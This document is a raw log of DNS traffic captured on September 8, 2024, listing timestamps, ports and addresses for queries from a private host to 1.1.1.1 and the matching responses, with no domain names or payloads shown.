Sep 8, 2024 08:40:38.865144968 CEST	53	50084	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:39.996661901 CEST	49773	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:40.005261898 CEST	53	49773	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:40.007443905 CEST	53206	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:40.016266108 CEST	53	53206	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:40.122800112 CEST	62206	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:40.295664072 CEST	53	62206	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:40.298875093 CEST	50413	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:40.502721071 CEST	53	50413	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:40.605922937 CEST	63654	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:40.624829054 CEST	53	63654	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:40.626776934 CEST	52609	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:40.810743093 CEST	53	52609	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:40.918313026 CEST	54221	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:40.993290901 CEST	53	54221	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:40.995491982 CEST	63007	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:41.003489971 CEST	53	63007	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:41.121427059 CEST	56297	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:41.130155087 CEST	53	56297	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:42.230794907 CEST	60897	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:42.413496017 CEST	53	60897	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:42.421011925 CEST	54083	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:42.823350906 CEST	53	54083	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:42.935133934 CEST	51318	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:42.944799900 CEST	53	51318	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:42.946923018 CEST	61850	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:42.956280947 CEST	53	61850	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:43.059145927 CEST	58664	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:43.305557013 CEST	53	58664	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:43.311486959 CEST	60097	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:43.620703936 CEST	53	60097	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:43.730799913 CEST	61846	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:43.928294897 CEST	53	61846	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:43.930839062 CEST	49900	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.151001930 CEST	53	49900	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.262144089 CEST	58619	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.271322966 CEST	53	58619	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.273299932 CEST	59452	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.280530930 CEST	53	59452	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.387362957 CEST	55110	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.557981968 CEST	53	55110	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.560162067 CEST	57335	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.581334114 CEST	53	57335	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.684093952 CEST	58029	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.692895889 CEST	53	58029	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.694947958 CEST	49856	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.704133987 CEST	53	49856	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.809029102 CEST	53032	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.862437963 CEST	53	53032	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:44.864597082 CEST	53344	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:44.913207054 CEST	53	53344	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:45.027887106 CEST	52821	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:45.282284975 CEST	53	52821	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:46.449644089 CEST	50550	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:46.746814966 CEST	53	50550	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:46.748994112 CEST	57219	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:46.784076929 CEST	53	57219	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:46.887142897 CEST	52133	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:47.150396109 CEST	53	52133	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:47.153675079 CEST	64454	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:47.316589117 CEST	53	64454	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:47.418817043 CEST	49659	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:47.910949945 CEST	53	49659	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:47.917483091 CEST	49865	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:48.004060030 CEST	53	49865	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:48.121445894 CEST	50716	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:48.393930912 CEST	53	50716	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:48.396670103 CEST	57077	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:48.431983948 CEST	53	57077	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:48.559111118 CEST	58362	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:48.655236959 CEST	53	58362	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:48.659236908 CEST	54642	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:48.762995958 CEST	53	54642	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:48.871471882 CEST	54365	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:48.890788078 CEST	53	54365	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:50.043322086 CEST	51762	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:50.362925053 CEST	53	51762	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:50.370533943 CEST	65080	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:50.393820047 CEST	53	65080	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:50.523479939 CEST	60060	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:50.536211967 CEST	53	60060	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:50.548965931 CEST	56834	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:51.042638063 CEST	53	56834	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:51.155641079 CEST	59294	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:51.425832033 CEST	53	59294	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:51.429533005 CEST	50736	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:51.464802980 CEST	53	50736	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:51.574475050 CEST	54652	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:51.824579000 CEST	53	54652	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:51.826823950 CEST	53625	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:51.923719883 CEST	53	53625	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:52.027818918 CEST	54762	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:52.060722113 CEST	53	54762	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:52.078983068 CEST	53334	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:52.110466957 CEST	53	53334	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:52.224674940 CEST	61381	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:52.432969093 CEST	53	61381	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:53.561964989 CEST	52810	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:53.573172092 CEST	53	52810	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:53.575299978 CEST	57084	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:53.602540970 CEST	53	57084	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:53.715248108 CEST	62418	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:53.816581011 CEST	53	62418	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:53.818582058 CEST	54232	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:54.164150953 CEST	53	54232	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:54.289273024 CEST	57211	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:54.454288960 CEST	53	57211	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:54.456696987 CEST	65054	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:54.618809938 CEST	53	65054	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:54.732677937 CEST	53522	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:54.897866964 CEST	53	53522	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:54.900017977 CEST	61973	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:55.449388027 CEST	53	61973	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:55.560547113 CEST	56378	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:55.832329035 CEST	53	56378	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:55.834616899 CEST	62117	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:55.869683027 CEST	53	62117	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:55.985193968 CEST	53499	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:56.200428963 CEST	53	53499	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:56.216161966 CEST	52681	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:56.388303041 CEST	53	52681	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:56.496341944 CEST	50439	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:56.658291101 CEST	53	50439	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:56.660548925 CEST	55103	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:56.803941965 CEST	53	55103	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:56.920571089 CEST	51581	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:56.938038111 CEST	53	51581	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:56.940767050 CEST	53057	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:56.951072931 CEST	53	53057	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:57.058959007 CEST	58758	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:57.067591906 CEST	53	58758	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:58.183832884 CEST	51345	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:58.213445902 CEST	53	51345	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:58.227942944 CEST	50341	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:58.237648964 CEST	53	50341	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:58.340812922 CEST	53866	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:58.627446890 CEST	53	53866	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:58.633419991 CEST	64733	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:58.650474072 CEST	53	64733	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:58.772538900 CEST	55100	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:58.789766073 CEST	53	55100	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:58.791791916 CEST	51081	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:58.814624071 CEST	53	51081	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:58.920581102 CEST	49910	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.087755919 CEST	53	49910	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:59.092314005 CEST	63984	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.360671043 CEST	53	63984	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:59.465621948 CEST	62154	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.589504004 CEST	53	62154	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:59.591876030 CEST	52650	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.636405945 CEST	53	52650	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:59.746609926 CEST	64710	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.756043911 CEST	53	64710	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:59.758152008 CEST	50054	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.767324924 CEST	53	50054	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:59.873303890 CEST	58255	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.883850098 CEST	53	58255	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:59.888398886 CEST	52784	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:59.898129940 CEST	53	52784	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:00.012084961 CEST	54843	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:00.264444113 CEST	53	54843	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:01.452512026 CEST	55708	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:01.479279041 CEST	53	55708	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:02.652802944 CEST	54824	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:02.673335075 CEST	53	54824	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:03.809648991 CEST	50048	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:04.009299040 CEST	53	50048	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:04.016473055 CEST	53004	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:04.025729895 CEST	53	53004	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:05.652833939 CEST	57237	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:05.662323952 CEST	53	57237	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:05.664565086 CEST	65140	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:05.675008059 CEST	53	65140	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:05.777605057 CEST	54945	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:05.787060022 CEST	53	54945	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:06.951734066 CEST	59305	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:06.973383904 CEST	53	59305	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:08.090997934 CEST	52407	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:08.104693890 CEST	53	52407	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:08.111643076 CEST	63950	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:08.120268106 CEST	53	63950	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:08.233320951 CEST	64252	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:08.314728975 CEST	53	64252	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:08.321124077 CEST	52410	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:08.411427021 CEST	53	52410	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:08.527785063 CEST	50891	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:08.538372040 CEST	53	50891	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:09.684206009 CEST	52643	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:09.704128981 CEST	53	52643	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:10.841758013 CEST	56774	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:10.861051083 CEST	53	56774	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:11.968022108 CEST	57495	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:11.997492075 CEST	53	57495	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:13.128181934 CEST	58719	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:14.121361971 CEST	58719	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:14.218209028 CEST	53	58719	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:14.218415976 CEST	53	58719	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:14.260150909 CEST	52011	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:14.544296026 CEST	53	52011	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:14.652669907 CEST	53364	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:14.679302931 CEST	53	53364	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:15.777920961 CEST	56953	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:15.788254976 CEST	53	56953	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:15.790894032 CEST	60589	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:16.027230978 CEST	60589	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:16.034084082 CEST	53	60589	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:16.076355934 CEST	53	60589	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:16.765765905 CEST	54085	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:16.950664997 CEST	53	54085	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:16.974477053 CEST	61381	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:17.230547905 CEST	61381	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:17.314042091 CEST	53	61381	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:17.316461086 CEST	53	61381	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:17.434212923 CEST	55682	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:17.604099035 CEST	53	55682	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:17.606772900 CEST	63096	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:17.815486908 CEST	53	63096	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:17.928494930 CEST	54260	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:18.167968035 CEST	54260	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:18.174746990 CEST	53	54260	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:18.797986031 CEST	53	54260	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:19.128825903 CEST	62938	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:19.374839067 CEST	62938	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:19.993057013 CEST	53	62938	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:19.993077040 CEST	53	62938	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:20.106600046 CEST	60975	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:20.116152048 CEST	53	60975	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:20.118300915 CEST	63341	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:20.125121117 CEST	53	63341	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:20.778206110 CEST	58045	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:20.936994076 CEST	53	58045	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:20.940990925 CEST	49791	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:21.183481932 CEST	49791	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:21.250770092 CEST	53	49791	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:21.254044056 CEST	53	49791	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:21.357528925 CEST	65502	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:21.379184961 CEST	53	65502	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:22.528172970 CEST	58852	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:22.550585985 CEST	53	58852	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:22.555903912 CEST	58107	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:22.803414106 CEST	58107	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:22.811575890 CEST	53	58107	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:22.863305092 CEST	53	58107	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:23.480751991 CEST	63690	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:23.663670063 CEST	53	63690	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:23.665707111 CEST	53694	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:23.835437059 CEST	53	53694	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:23.949590921 CEST	56743	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:23.958802938 CEST	53	56743	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:25.199537992 CEST	49296	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:25.270149946 CEST	53	49296	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:25.273066998 CEST	57990	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:25.339359045 CEST	53	57990	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:25.451328993 CEST	57726	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:25.543689013 CEST	53	57726	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:25.566860914 CEST	57042	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:25.824517965 CEST	57042	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:25.831490040 CEST	53	57042	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:26.164098024 CEST	53	57042	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:27.128671885 CEST	50590	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:27.138335943 CEST	53	50590	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:27.140955925 CEST	59439	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:27.150479078 CEST	53	59439	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:27.262145996 CEST	56450	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:27.512041092 CEST	56450	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:27.518937111 CEST	53	56450	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:27.548211098 CEST	53	56450	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:28.253384113 CEST	50830	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:28.387506008 CEST	53	50830	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:28.496512890 CEST	56019	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:28.505292892 CEST	53	56019	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:28.507189035 CEST	50307	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:28.515700102 CEST	53	50307	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:28.621578932 CEST	58940	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:28.889239073 CEST	58940	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:29.115030050 CEST	53	58940	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:29.115053892 CEST	53	58940	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:29.117086887 CEST	50683	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:29.355434895 CEST	50683	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:29.597579002 CEST	53	50683	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:29.597596884 CEST	53	50683	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:29.715066910 CEST	54936	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:29.795188904 CEST	53	54936	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:29.818423986 CEST	61593	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:30.067605972 CEST	61593	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:30.312027931 CEST	53	61593	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:30.312045097 CEST	53	61593	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:30.418334961 CEST	50971	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:30.427170038 CEST	53	50971	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:30.429147959 CEST	51304	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:30.440275908 CEST	53	51304	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:30.544416904 CEST	53485	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:30.792956114 CEST	53485	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:31.214046001 CEST	53	53485	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:31.214063883 CEST	53	53485	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:31.236855030 CEST	62475	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:31.308320999 CEST	53	62475	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:31.436738968 CEST	59788	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:31.459798098 CEST	53	59788	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:31.490354061 CEST	63533	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:31.499303102 CEST	53	63533	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:31.614582062 CEST	57766	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:31.770298958 CEST	53	57766	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:32.902641058 CEST	57651	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:32.911446095 CEST	53	57651	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:34.028321028 CEST	61991	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:34.039926052 CEST	53	61991	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:34.058842897 CEST	60042	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:34.324305058 CEST	60042	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:34.554418087 CEST	53	60042	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:34.554440975 CEST	53	60042	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:34.668546915 CEST	56977	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:34.918931007 CEST	56977	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:34.926400900 CEST	53	56977	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:34.969278097 CEST	53	56977	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:35.462707996 CEST	53786	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:35.544259071 CEST	53	53786	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:35.661566973 CEST	51244	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:35.905307055 CEST	53	51244	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:35.907932043 CEST	54099	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:36.152456045 CEST	54099	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:36.161253929 CEST	53	54099	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:36.161269903 CEST	53	54099	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:36.278425932 CEST	59556	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:36.298264027 CEST	53	59556	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:37.449568033 CEST	64737	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:37.461143970 CEST	53	64737	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:38.629719973 CEST	61190	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:38.871519089 CEST	61190	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:39.887959003 CEST	61190	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:40.159116983 CEST	53	61190	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:40.159131050 CEST	53	61190	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:40.161210060 CEST	56530	53	192.168.2.5	1.1.1.1
